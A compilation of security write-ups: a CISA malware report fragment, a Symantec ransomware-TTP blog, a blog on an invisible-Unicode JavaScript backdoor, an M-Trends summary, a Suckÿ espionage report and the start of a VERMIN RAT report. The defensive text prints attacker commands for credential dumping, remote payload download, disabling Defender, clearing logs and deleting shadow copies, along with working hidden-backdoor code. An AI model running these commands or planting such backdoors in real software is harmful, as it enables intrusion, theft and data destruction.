9a33838895830247744985365b8b2948 | .rsrc | 512 | 5.115767 | | 7c956dfb879b86c9d57c3e783f4ab241 | .reloc | 9216 | 5.177068 | ### Relationships - **2057c0cf46...** Downloaded_By **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** - **2057c0cf46...** Downloaded_By **211.192.239.232** ### Description This file and 68FA29A40F64C9594CC3DBE8649F9EBC appear identical in functionality, except for the exported function name. Narrator.exe (24906E88A757CB535EB17E6C190F371F) looks for the exported function name CreateFileEx. ### 19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35 **Tags**: trojan **Details** - **Name**: EngineDll.dll - **Size**: 166400 bytes - **Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5**: 68fa29a40f64c9594cc3dbe8649f9ebc - **SHA1**: b24f6c60fa4ac76ffc11c2fcee961694aeb2141b - **SHA256**: 19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35 - **SHA512**: ffca587964d68e3bea67b4add649b06d768457bf49e2db0708996835f0d9da95cc79bcb6640220053632e993fe545e8ca4cd50309bf0d7 - **ssdeep**: 3072:VovrXpvEgEOtXOssvdAeL7Mz81dYFQbEPWgtXJtLNh1jUV46mG:VUDpNyD77YF/+gtHLRj7G - **Entropy**: 6.512934 **Antivirus** No matches found. ### YARA Rules No matches found. **ssdeep Matches** No matches found. ### PE Metadata - **Compile Date**: 2018-02-05 21:20:52-05:00 - **Import Hash**: b100cffd23b28dfc257c5feeb1e89eb9 ### PE Sections | MD5 | Name | Raw Size | Entropy | |---------------------------------------|--------|----------|-----------| | 35b77733290c275ff61e476e1491ed7a | header | 1024 | 2.620308 | | 6a8fcc80d3b556c366b9915ca084df91 | .text | 123904 | 6.638987 | | 52890df518ebf2eeba3c08102c595dc1 | .rdata | 25600 | 5.207715 | | f73aec76a9c7a7f6bc0e0dbce1dd57b0 | .data | 6144 | 3.442575 | | 9a33838895830247744985365b8b2948 | .rsrc | 512 | 5.115767 | | 6f67f8a4390a007724e02090e947d315 | .reloc | 9216 | 5.186683 | ### Relationships - **19f9a9f7a0...** Downloaded_By **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** - **19f9a9f7a0...** Downloaded_By **211.192.239.232** ### Description This file and 3005F1308E4519477AC25D7BBF054899 appear identical in functionality, except for the exported function name. Narrator.exe (24906E88A757CB535EB17E6C190F371F) looks for the exported function name CreateFileProcEx. ### 211.192.239.232 **Tags**: command-and-control **Ports**: 8443 TCP ### Relationships - **211.192.239.232** Connected_From **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** - **211.192.239.232** Downloaded **2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf** - **211.192.239.232** Downloaded **19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35** ### Description Narrator.exe (24906E88A757CB535EB17E6C190F371F) attempts to download payload from the IP address. ### Relationship Summary - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** Downloaded **2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf** - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** Downloaded **19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35** - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** Connected_To **211.192.239.232** - **2057c0cf46...** Downloaded_By **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** - **2057c0cf46...** Downloaded_By **211.192.239.232** - **19f9a9f7a0...** Downloaded_By **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** - **19f9a9f7a0...** Downloaded_By **211.192.239.232** - **211.192.239.232** Connected_From **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** - **211.192.239.232** Downloaded **2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf** - **211.192.239.232** Downloaded **19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35** ## Mitigation The following Snort rule can be used to detect the FakeTLS LFSR encrypted handshake packets: ```snort // Detects the FakeTLS LFSR encrypted handshake packets alert tcp any any -> any any (msg:"Malware Detected"; pcre:" /\x17\x03\x01\x00\x18.\x26\xa5\xbb\xf1\x4f\x33\xcb/"; rev:1; sid:99999999;) ``` ### Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations. Configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication "Guide to Malware Incident Prevention & Handling for Desktops and Laptops." ## Contact Information CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at [us-cert.gov/forms/feedback](https://us-cert.gov/forms/feedback/). ## Document FAQ **What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most cases, it will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the analysis. **What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual analysis. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis. **Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to CISA at 1-888-282-0870 or [email protected]. **Can I submit malware to CISA?** Malware samples can be submitted via three methods: - Web: [malware.us-cert.gov](https://malware.us-cert.gov) - E-Mail: [email protected] - FTP: ftp.malware.us-cert.gov (anonymous) CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing. Reporting forms can be found on CISA's homepage at [us-cert.gov](http://www.us-cert.gov). ## Revisions May 12, 2020: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.
# Ransomware: How Attackers are Breaching Corporate Networks Targeted ransomware attacks continue to be one of the most critical cyber risks facing organizations of all sizes. The tactics used by ransomware attackers are continually evolving, but by identifying the most frequently employed tools, tactics, and procedures (TTPs), organizations can gain a deeper understanding of how ransomware groups infiltrate networks and use this knowledge to identify and prioritize areas of weakness. Symantec, a division of Broadcom Software, tracks various ransomware threats; however, the following three ransomware families are being observed in the majority of recent attacks: - **Hive** - **Conti** - **Avoslocker** Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model. In the RaaS model, the ransomware operators hire affiliates who are responsible for launching the ransomware attacks on their behalf. In most cases, affiliates stick to a playbook that contains detailed attack steps laid out by the ransomware operators. Once initial access to a victim network has been gained, Hive, Conti, and Avoslocker use a plethora of TTPs to help the operators achieve the following: - Gain persistence on the network - Escalate privileges - Tamper with and evade security software - Laterally move across the network ## Initial Access Affiliates for the Hive, Conti, and Avoslocker ransomware operators use a variety of techniques to gain an initial foothold on victim networks. Some of these techniques include: - Spear phishing leading to the deployment of malware, including but not limited to: - IcedID - Emotet - QakBot - TrickBot - Taking advantage of weak RDP credentials - Exploiting vulnerabilities such as: - Microsoft Exchange vulnerabilities - CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-26855 - FortiGate firewall vulnerabilities - CVE-2018-13379 and CVE-2018-13374 - Apache Log4j vulnerability - CVE-2021-44228 In most cases, the spear-phishing emails contain Microsoft Word document attachments embedded with macros that lead to the installation of one of the previously mentioned malware threats. In some instances, attackers use this malware to install Cobalt Strike, which is then used to pivot to other systems on the network. These malware threats are then used to distribute ransomware onto compromised computers. ## Persistence After gaining initial access, Symantec has observed affiliates for all three ransomware families using third-party software such as AnyDesk and ConnectWise Control (previously known as ScreenConnect) to maintain access to victim networks. They also enable default Remote Desktop access in the firewall: ``` netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes ``` Actors are also known to create additional users on compromised systems to maintain access. In some instances, we have seen threat actors add registry entries that allow them to automatically log in when a machine is restarted: ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d <user> /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f ``` ## Discovery During the discovery phase, the ransomware actors try to sweep the victim’s network to identify potential targets. Symantec has observed the aforementioned ransomware actors using tools such as the following: - **ADRecon** - Gathers Active Directory information and generates a report - **Netscan** - Discovers devices on the network ## Credential Access Mimikatz is a go-to tool for most ransomware groups, and Hive, Conti, and Avoslocker are no exception. We have observed them using the PowerShell version of Mimikatz as well as the PE version of the tool. There are also instances where the threat actors directly load the PowerShell version of Mimikatz from GitHub repositories: ``` powershell IEX((new-object net.webclient).downloadstring('https://raw.githubusercontent.com/<redacted>/Invoke-Mimikatz.ps1'));Invoke-Mimikatz -DumpCreds ``` In addition to using Mimikatz, the threat actors have also taken advantage of the native rundll32 and comsvcs.dll combination to dump the LSASS memory: ``` rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <process id> lsass.dmp full ``` Adversaries also dump the SECURITY, SYSTEM, and SAM hives and later extract credentials from the dump. In rare occasions, they have also been observed using taskmgr.exe to dump the LSASS memory and later using the dump to extract valuable credentials. ## Lateral Movement Attackers employ tools like PsExec, WMI, and BITSAdmin to laterally spread and execute the ransomware on victim networks. We have also observed the attackers using several other techniques to laterally move across networks. - **PsExec** ``` psexec -accepteula @ips.txt -s -d -c CSIDL_WINDOWS\xxx.exe ``` - **WMI** ``` wmic /node:@C:\share$\comps1.txt /user:"user" /password:"password" process call create "cmd.exe /c bitsadmin /transfer xxx \\IP\share$\xxx.exe %APPDATA%\xxx.exe&%APPDATA%\xxx.exe" ``` - **BITSAdmin** ``` bitsadmin /transfer debjob /download /priority normal hxxp://<IP>/ele.dll CSIDL_WINDOWS\ele.dll ``` - **Mimikatz** ``` mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash>" ``` ## Defense Evasion As with a number of other ransomware families, Hive, Conti, and Avoslocker also tamper with various security products that interfere with their goal. We have observed them meddling with security services using the net, taskkill, and sc commands to disable or terminate them. In some cases, they also use tools like PC Hunter to end processes. They have also been seen tampering with various registry entries related to security products, since changes to the registry entries can make those products inoperative. Both Hive and AvosLocker have been observed attempting to disable Windows Defender using the following reg.exe commands. **AvosLocker:** ``` reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f ``` **Hive:** ``` reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" / ``` Disabling the default Windows firewall is also one of the techniques we have seen being used by these ransomware families: ``` netsh advfirewall set allprofiles state off ``` To cover their tracks on a victim system, the actors may also clear the Windows event log: ``` wevtutil.exe cl system wevtutil.exe cl security wevtutil.exe cl application powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }" ``` ## Impact Adversaries tend to disable or tamper with operating system settings in order to make it difficult for administrators to recover data. Deleting shadow copies is a common tactic threat actors perform before starting the encryption process. They perform this task by using tools like Vssadmin or WMIC and running one of the following commands: ``` vssadmin.exe delete shadows /all /quiet wmic.exe shadowcopy delete ``` We have also seen BCDEdit being used to disable automatic system recovery and to ignore failures on boot: ``` bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no ``` In some instances, the actors delete the safe mode settings in the registry to stop security product services from starting in safe mode: ``` reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<service> /f ``` ## Exfiltration Attackers commonly exfiltrate critical data from a victim’s environment before encrypting it. They then use the stolen data in an attempt to extort a ransom from victims. We have observed threat actors using the following cloud services to exfiltrate data: - https://anonfiles.com - https://mega.nz - https://send.exploit.in - https://ufile.io - https://www.sendspace.com We have also seen attackers use the following tools for data exfiltration: - **Filezilla** - **Rclone** ## Conclusion The TTPs outlined in this blog are a snapshot of the current ransomware threat landscape. The TTPs used by these threat actors are constantly evolving, with groups continually tweaking their methods in a bid to outmaneuver their targets’ security defenses. As such, organizations need to be vigilant and employ a multi-layered security approach. ## Symantec Protection Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies. ### AV Protection - Ransom.Hive - Ransom.Conti - Ransom.AvosLocker - Backdoor.Cobalt - Hacktool.Mimikatz - Trojan.IcedID* - Trojan.Emotet* - W32.Qakbot* - Trojan.Trickybot* ### Behavioral Protection - SONAR.RansomHive!g2 - SONAR.RansomHive!g3 - SONAR.RansomHive!g4 - SONAR.RansomAvos!g2 - SONAR.RansomConti!g1 - SONAR.RansomConti!g3 - SONAR.RansomConti!g4 - SONAR.Ransomware!g30 - SONAR.RansomGregor!g1 - SONAR.SuspLaunch!gen4 - SONAR.SuspLaunch!g18 - SONAR.Ransom!gen59 - SONAR.Ransomware!g26 - SONAR.Cryptlck!g171 ### Intrusion Prevention System (IPS) detections IPS blocks initial access, persistence, and lateral movement. SEP's Audit Signatures are intended to raise awareness of potentially unwanted traffic on the network. By default, Audit Signatures do not block. Administrators reviewing the logs of IPS events in their network can note these Audit events and decide whether or not to configure the corresponding Audit Signatures to block the traffic. The following is a list of Audit Signatures that can be enabled to block, through policies, activity related to the use of software or tools such as AnyDesk, ScreenConnect, and PsExec. Symantec recommends that you have intrusion prevention enabled on all your devices including servers. ### Adaptive Protection Symantec Adaptive Protection can help protect against lateral movement and ransomware execution techniques used by an attacker. If you are not using tools like PsExec, WMIC, and BITSAdmin in your environment, then you should “Deny” these applications and actions using Symantec Adaptive Protection policies. ## About the Author **Karthikeyan C Kasiviswanathan** Principal Threat Analysis Engineer Karthikeyan is a member of Symantec’s Security Technology and Response team which is focused on providing round-the-clock protection against current and future cyber threats. **Vishal Kamble** Principal Threat Analysis Engineer Vishal is a member of Symantec’s Security Technology and Response team where he is focused on researching future cyber threats.
# The Invisible JavaScript Backdoor Wolfgang Ettlinger 09.11.2021 A few months ago we saw a post on the r/programminghorror subreddit: A developer describes the struggle of identifying a syntax error resulting from an invisible Unicode character hidden in JavaScript source code. This post inspired an idea: What if a backdoor literally cannot be seen and thus evades detection even from thorough code reviews? Just as we were finishing up this blog post, a team at the University of Cambridge released a paper describing such an attack. Their approach, however, is quite different from ours – it focuses on the Unicode bidirectional mechanism (Bidi). We have implemented a different take on what the paper titles “Invisible Character Attacks” and “Homoglyph Attacks“. Without further ado, here’s the backdoor. Can you spot it? ```javascript const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => { const { timeout, ㅤ } = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/', ㅤ ]; try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 }))); res.status(200); res.send('ok'); } catch(e) { res.status(500); res.send('failed'); } }); app.listen(8080); ``` The script implements a very simple network health check HTTP endpoint that executes `ping -c 1 google.com` as well as `curl -s http://example.com` and returns whether these commands executed successfully. The optional HTTP parameter `timeout` limits the command execution time. ## The Backdoor Our approach for creating the backdoor was to first find an invisible Unicode character that can be interpreted as an identifier/variable in JavaScript. Beginning with ECMAScript version 2015, all Unicode characters with the Unicode property `ID_Start` can be used in identifiers (characters with property `ID_Continue` can be used after the initial character). The character “ㅤ” (0x3164 in hex) is called “HANGUL FILLER” and belongs to the Unicode category “Letter, other”. As this character is considered to be a letter, it has the `ID_Start` property and can therefore appear in a JavaScript variable – perfect! Next, a way to use this invisible character unnoticed had to be found. The following visualizes the chosen approach by replacing the character in question with its escape sequence representation: ```javascript const { timeout, \u3164 } = req.query; ``` A destructuring assignment is used to deconstruct the HTTP parameters from `req.query`. Contrary to what can be seen, the parameter `timeout` is not the sole parameter unpacked from the `req.query` attribute! An additional variable/HTTP parameter named “ㅤ” is retrieved – if a HTTP parameter named “ㅤ” is passed, it is assigned to the invisible variable `ㅤ`. Similarly, when the `checkCommands` array is constructed, this variable `ㅤ` is included into the array: ```javascript const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/', \u3164 ]; ``` Each element in the array, the hardcoded commands as well as the user-supplied parameter, is then passed to the `exec` function. This function executes OS commands. For an attacker to execute arbitrary OS commands, they would have to pass a parameter named “ㅤ” (in its URL-encoded form) to the endpoint: `http://host:8080/network_health?%E3%85%A4=<any command>`. This approach cannot be detected through syntax highlighting as invisible characters are not shown at all and therefore are not colorized by the IDE/text editor. The attack requires the IDE/text editor (and the used font) to correctly render the invisible characters. At least Notepad++ and VS Code render it correctly (in VS Code the invisible character is slightly wider than ASCII characters). The script behaves as described at least with Node 14. ## Homoglyph Approaches Besides invisible characters one could also introduce backdoors using Unicode characters that look very similar to e.g. operators: ```javascript const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT']; /* … */ const environment = 'PRODUCTION'; /* … */ function isUserAdmin(user) { if(environmentǃ=ENV_PROD){ // bypass authZ checks in DEV return true; } /* … */ return false; } ``` The “ǃ” character used is not an exclamation mark but an “ALVEOLAR CLICK” character. The following line therefore does not compare the variable `environment` to the string "PRODUCTION" but instead assigns the string "PRODUCTION" to the previously undefined variable `environmentǃ`: ```javascript if(environmentǃ=ENV_PROD){ ``` Thus, the expression within the if statement is always `true` (tested with Node 14). There are many other characters that look similar to the ones used in code which may be used for such purposes (e.g. “/”, “−”, “+”, “”, “❨”, “”, “”, “∗”). Unicode calls these characters “confusables”. ## Takeaway Note that messing with Unicode to hide vulnerable or malicious code is not a new idea (also using invisible characters) and Unicode inherently opens up additional possibilities to obfuscate code. We believe that these tricks are quite neat though, which is why we wanted to share them. Unicode should be kept in mind when doing reviews of code from unknown or untrusted contributors. This is especially interesting for open source projects as they might receive contributions from developers that are effectively anonymous. The Cambridge team proposes restricting Bidi Unicode characters. As we have shown, homoglyph attacks and invisible characters can pose a threat as well. In our experience non-ASCII characters are pretty rare in code. Many development teams chose to use English as the primary development language (both for code and strings within the code) in order to allow for international cooperation (ASCII covers all/most characters used in the English language). Translation into other languages is often done using dedicated files. When we review German language code, we mostly see non-ASCII characters being substituted with ASCII characters (e.g. ä → ae, ß → ss). It might therefore be a good idea to disallow any non-ASCII characters. ## Update VS Code has issued an update that highlights invisible characters and confusables. Unicode is forming a task force to investigate issues with source code spoofing. Certitude’s employees have many years of experience in code reviews and expertise in many languages and frameworks. If you are interested in working with Certitude to improve your application’s security, feel free to reach out to us at [email protected].
# M-Trends 2023 M-Trends 2023 provides insights into the evolving landscape of cyber threats and trends observed by Mandiant. The report highlights key findings, including the tactics, techniques, and procedures used by threat actors, as well as recommendations for organizations to enhance their security posture. ## Key Findings - **Threat Actor Tactics**: The report outlines various tactics employed by cybercriminals, including phishing, ransomware, and supply chain attacks. - **Emerging Trends**: It discusses the rise of state-sponsored attacks and the increasing sophistication of cyber threats. - **Recommendations**: Organizations are encouraged to adopt a proactive approach to cybersecurity, including regular assessments and incident response planning. ## Conclusion M-Trends 2023 serves as a crucial resource for understanding the current threat landscape and preparing for future challenges in cybersecurity.
# Indian Organizations Targeted in Suckÿ Attacks Suckÿ conducted long-term espionage campaigns against government and commercial organizations in India. **By:** Jon DiMaggio, Symantec Employee **Created:** 17 May 2016 In March 2016, Symantec published a blog on Suckÿ, an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates. Since then, we have identified a number of attacks over a two-year period, beginning in April 2014, which we attribute to Suckÿ. The attacks targeted high-profile targets, including government and commercial organizations. These attacks occurred in several different countries, but our investigation revealed that the primary targets were individuals and organizations primarily located in India. While there have been several Suckÿ campaigns that infected organizations with the group’s custom malware Backdoor.Nidiran, the Indian targets show a greater amount of post-infection activity than targets in other regions. This suggests that these attacks were part of a planned operation against specific targets in India. ## Campaign Activity in India The first known Suckÿ campaign began in April of 2014. During our investigation of the campaign, we identified a number of global targets across several industries who were attacked in 2015. Many of the targets we identified were well-known commercial organizations located in India. These organizations included: - One of India's largest financial organizations - A large e-commerce company - The e-commerce company's primary shipping vendor - One of India's top five IT firms - A United States healthcare provider's Indian business unit - Two government organizations Suckÿ spent more time attacking the government networks compared to all but one of the commercial targets. Additionally, one of the two government organizations had the highest infection rate of the Indian targets. Indian government organization #2 is responsible for implementing network software for different ministries and departments within India's central government. The high infection rate for this target is likely because of its access to technology and information related to other Indian government organizations. Suckÿ's attacks on government organizations that provide information technology services to other government branches is not limited to India. It has conducted attacks on similar organizations in Saudi Arabia, likely because of the access that those organizations have. Suckÿ's targets are displayed by their industry, which provides a clearer view of the group’s operations. Most of the group's attacks are focused on government or technology-related companies and organizations. ## Suckÿ Attack Lifecycle One of the attacks we investigated provided detailed insight into how Suckÿ conducts its operations. In 2015, Suckÿ conducted a multistage attack between April 22 and May 4 against an e-commerce organization based in India. Similar to its other attacks, Suckÿ used the Nidiran back door along with a number of hacktools to infect the victim's internal hosts. The tools and malware used in this breach were also signed with stolen digital certificates. During this time the following events took place: 1. Suckÿ's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckÿ obtained information on the targeted user, but we did find a large open-source presence on the initial target. The target's job function, corporate email address, information on work-related projects, and publicly accessible personal blog could all be freely found online. 2. On April 22, 2015, Suckÿ exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. While we know the attackers used a custom dropper to install the back door, we do not know the delivery vector. Based on the amount of open-source information available on the target, it is feasible that a spear-phishing email may have been used. 3. After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. We found evidence that Suckÿ used hacktools to move laterally and escalate privileges. To do this, the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4. On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols but can be abused by attackers when they are not secured. It isn't clear why the attackers scanned for hosts with port 40 open because there isn't a common protocol assigned to this port. Based on Suckÿ scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5. The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckÿ’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckÿ was successful in stealing other information. These steps were taken over a 13-day period, but only on specific days. While tracking what days of the week Suckÿ used its hacktools, we discovered that the group was only active Monday through Friday. There was no activity from the group on weekends. We were able to determine this because the attackers’ hacktools are command line driven and can provide insight into when the operators are behind keyboards actively working. ## Suckÿ's Command and Control Infrastructure Suckÿ made its malware difficult to analyze to prevent their operations from being detected. However, we were able to successfully analyze Suckÿ malware samples and extract some of the communications between the Nidiran back door and the Suckÿ command and control (C&C) domains. We analyzed the dropper, which is an executable that contains the following three files: 1. dllhost.exe: The main host for the .dll file 2. iviewers.dll: Used to load encrypted payloads and then decrypt them 3. msied: The encrypted payload All three files are required for the malware to run correctly. Once the malware has been executed, it checks to see if it has a connection to the internet before running. If the connection test is successful, the malware runs and attempts to communicate with the C&C domain over ports 443 and 8443. In the samples we analyzed, we found the port and C&C information encrypted and hardcoded into the Nidiran malware itself. The Nidiran back door made the following initial communication request to the Suckÿ C&C domain: ``` GET /gte_ok0/logon.php HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Host: REDACTED Connection: Keep-Alive Cookie: dfe6=OIAXUNXWn9CBmFBqtwEEPLzwRGmbMoNR7C0nLcHYa+C1tb4fp7ydcZSmVZ1c4akergWcQQ== ``` The interesting information being transmitted to the C&C server in the initial request is located in the cookie, which is comprised of the following: ``` [COOKIE NAME]=[RC4 ENCRYPTED + B64 ENCODED DATA FROM VICTIM] ``` The key for the RC4 encryption in this sample is the hardcoded string “h0le”. Once the cookie data is decoded, Suckÿ has the network name, hostname, IP address, and the victim's operating system information. ## Conclusion Suckÿ targeted one of India’s largest e-commerce companies, a major Indian shipping company, one of India’s largest financial organizations, and an IT firm that provides support for India’s largest stock exchange. All of these targets are large corporations that play a major role in India’s economy. By targeting all of these organizations together, Suckÿ could have had a much larger impact on India and its economy. While we don't know the motivations behind the attacks, the targeted commercial organizations, along with the targeted government organizations, may point in this direction. Suckÿ has the resources to develop malware, purchase infrastructure, and conduct targeted attacks for years while staying off the radar of security organizations. During this time, they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations. There is no evidence that Suckÿ gained any benefits from attacking the government organizations, but someone else may have benefited from these attacks. The nature of the Suckÿ attacks suggests that it is unlikely that the threat group orchestrated these attacks on their own. We believe that Suckÿ will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckÿ's operations. ## Protection Symantec has the following detections in place to protect against Suckÿ’s malware: - **Antivirus** - Backdoor.Nidiran - Backdoor.Nidiran!g1 - Hacktool - Exp.CVE-2014-6332 - **Intrusion Prevention System** - Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 - Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 2 - Web Attack: Microsoft OleAut32 RCE CVE-2014-6332 4 - Web Attack: OLEAUT32 CVE-2014-6332 3 - System Infected: Trojan.Backdoor Activity 120
# VERMIN: Quasar RAT and Custom Malware Used In Ukraine By Tom Lancaster and Juan Cortes January 29, 2018 at 5:00 AM Category: Unit 42 Tags: AutoFocus, ConfuserEx, Espionage, Quasar, Quasar RAT, Ukraine, VERMIN ## Summary Palo Alto Networks Unit 42 has discovered a new malware family written using the Microsoft .NET Framework which the authors call “VERMIN”; an ironic term for a RAT (Remote Access Tool). Cursory investigation into the malware showed the attackers not only had flair for malware naming, but also for choosing interesting targets for their malware: nearly all the targeting we were able to uncover related to activity in Ukraine. Pivoting further on the initial samples we discovered, and their infrastructure, revealed a modestly sized campaign going back to late 2015 using both Quasar RAT and VERMIN. This blog shows the links between the activity observed, a walkthrough of the analysis of the VERMIN malware, and IOCs for all activity discovered. ## It all began with a tweet Our initial interest was piqued through a tweet from a fellow researcher who had identified some malware with an interesting theme relating to the Ukrainian Ministry of Defense as a lure. The sample was an SFX exe which displayed a decoy document to users before continuing to execute the malware; the hash of the file is given below. **SHA256**: 31a1419d9121f55859ecf2d01f07da38bd37bb11d0ed9544a35d5d69472c358e The malware was notable for its rare use of HTTP encapsulated SOAP, an XML based protocol used for exchanging structured information, for command and control (C2), which is something not often seen in malware samples. Using AutoFocus, we were quickly able to find similar samples, by pivoting on the artifacts the malware created during a sandbox run, resulting in 7 other samples. Using the Maltego for AutoFocus transforms, we were then able to take the newly discovered samples and look at the C2 infrastructure in an attempt to see if we could link the samples together and in turn see if these C2’s were contacted by malware. We quickly built up a picture of a campaign spanning just over 2 years with a modest C2 infrastructure. The malware samples we discovered fell largely into two buckets: Quasar RAT and 